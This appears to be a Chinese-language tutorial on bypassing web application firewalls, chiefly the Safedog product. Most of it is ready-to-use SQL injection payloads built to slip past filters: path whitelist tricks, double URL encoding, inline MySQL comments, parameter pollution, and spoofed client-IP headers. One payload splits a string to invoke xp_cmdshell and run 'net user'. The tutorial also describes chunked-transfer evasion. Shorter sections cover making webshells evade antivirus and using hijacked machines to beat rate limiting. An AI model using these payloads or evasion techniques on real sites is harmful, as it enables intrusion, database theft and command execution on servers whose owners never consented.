waf绕过方法

waf简介：

网站WAF是一款服务器安全防护软件，是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统，是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。常见的系统攻击分为两类：一是利用Web服务器的漏洞进行攻击，如DDOS攻击、病毒木马破坏等攻击；二是利用网页自身的安全漏洞进行攻击，如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

以下都是用安全狗3.0测试的奥。（很多4.0都已经绕不过去了，重在学习思路）

1、白名单绕过

（注：现在基本都是自定义白名单，不是默认的啦）

360webscan脚本存在这个问题，就是判断是否为admin dede install等目录，如果是则不做拦截

比如：www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user

可以改为:

www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user

或者

www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user

详细的见: http://www.wooyun.org/bugs/wooyun-2014-050576

2、大小写绕过

我这里虽然被拦截了但是有的waf是可以绕过的。

3、双写绕过注入

将and双写为anandd

4、编码绕过注入

用bp对and进行两次编码。（因为服务器会自动对URL进行一次URL解码，所以需要把关键字编码两次）

5、内联注释绕过注入

将id=1 and 1=1 写为 id=1/*!and*/1=1 （这种方式安全狗最新版本已经过滤了，但是对很多waf还是有用的）

6、修改请求方式绕过

过滤了get但是没有过滤post、cookie。waf默认是关闭的，

7、复参数绕过（&id=）

例如一个请求是这样的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕，测试最新版WAF能绕过部分语句。

8、特殊字符替换空格

用一些特殊字符代替空格，比如在mysql中%0a是换行，可以代替空格，这个方法也可以部分绕过最新版本的WAF，在sqlserver中可以用/**/代替空格，也可以使用如下方法：

http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

特殊字符有：mysql：%0a/**/可以绕过最新版本WAF sqlerver： /**/

/*|%23--%23|*/

/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

这条语句不行，看一下防护日志，是因为把uaer函数加入黑名单啦。替换user即可。

9、特殊字符拼接（+）

把特殊字符拼接起来绕过WAF的检测，比如在Mysql中，可以利用注释/**/来绕过，在mssql中，函数里面可以用+来拼接

如：GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')

可以改为：GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

10、利用WAF本身的功能绕过

把"*"替换为空

例：uni*on+sel*ect+1,2,3,4....（这种方法不适用于安全狗）

假如你发现WAF会把"*"替换为空，那么你就可以利用这一特性来进行绕过‍‍‍ http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)

11、使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

version()| @@version

concat() | concat_ws()

group_concat() | concat_ws()

= | like

1| MOD(8,7)

12、以上方法组合绕过

（如果user函数都能绕过去，那基本通杀，因为对user（）这样的函数保护的最好）

1、替换法+URL编码

例：先判断注入点，把and为&&，urlencode后为%26%26

http://192.168.60.68/sql.php?id=1%20%26%26%20-1=-2

2、注释+替换法

3、内联注释+替换法

1.利用()代替空格

2.利用mysql特性/*!*/执行语句

3.利用/**/混淆代码

我给出的注入语句是：

union/*%00*//*!50010select*/(database/**/()),(user/**/())%23 （50010代表数据库版本）

这里要注意的几点是：

1.mysql关键字中是不能插入/**/的，即se/**/lect是会报错的，但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的

2./*!*/中间的代码是可以执行的，其中50010为mysql版本号，只要mysql大于这个版本就会执行里面的代码

3.数据或者函数周围可以无限嵌套()

4.利用好%00 user())

13、分块传输（很重要，必须掌握）（4.0也可过）

过post方法（bp可直接把get方式改为post）

添加http头信息

Transfer-Encoding: Chunked

（4 6 7 2 8 3 这些后面也可以直接加 ;hfdj 来干扰也不会影响）

或

还可以用此方法也可以过（注意观察d）（有的时候可以）

14、云waf直接找真实IP

15、waf工具绕过（绕云waf很有效）

（这个方法也是伪造IP头。X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Client-IP: 127.0.0.1

）

工具：bp里边插件扩展里bypass waf 。

16、路径随意跳转法可以使用../来完成

XSS过狗

（其他的语句可进行URL编码）

因为老是弹窗，所以截图，还有很多看突破安全狗文档。

二、网马免杀

1、把马创建成函数，后面只要调用函数就行

2、变量覆盖

3、组合法（怎么组合s）

4、在线加密

5、文件包含

防盗链绕过：修改Referer头。

防cc绕过：可以控制大量的肉鸡同时访问

扩展笔记：（代码加密两个原因：1、绕过过滤waf啥的，2、留后门）

php:mumaasp.com 这个网站有很多后门木马，但是一旦用了会给网站的人留后门，别用啊。